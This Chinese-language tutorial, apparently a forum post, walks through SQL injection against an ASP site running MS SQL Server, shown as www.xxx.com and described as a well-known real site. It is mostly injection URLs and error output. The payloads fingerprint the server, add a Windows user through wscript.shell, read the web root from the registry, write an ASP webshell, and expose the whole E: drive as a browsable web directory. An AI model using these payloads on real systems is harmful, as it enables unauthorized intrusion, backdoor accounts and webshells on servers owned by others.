风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。
以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多说这方面了。
MS SQL内置函数介绍:
@@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name() 得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME() 得到当前主机的名称
这些信息有助我们对系统进行简单的了解
好,下面我们就开始吧!
语句:
| http://www.xxx.com/list.asp?classid=1' |
| Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未闭合的引号。 /list.asp,行290 |
| http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version) |
| Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290 |
| http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’ |
| http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name()) |
| Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290 |
| http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user cntest chinatest /add' |
| http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test) |
| http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable) |
| Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 'E:\www,,201' 转换为数据类型为 int 的列时发生语法错误。 |
| http://www.xxx.com/list.asp?class=1; declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject', %20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:\www\test.asp', 1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next' |
| http://www.xxx.com/list.asp?classid=1; declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject', %20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile', %20@f%20out,%20'e:\www\test.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'asp horse ' |
| declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"’ |
| declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’ |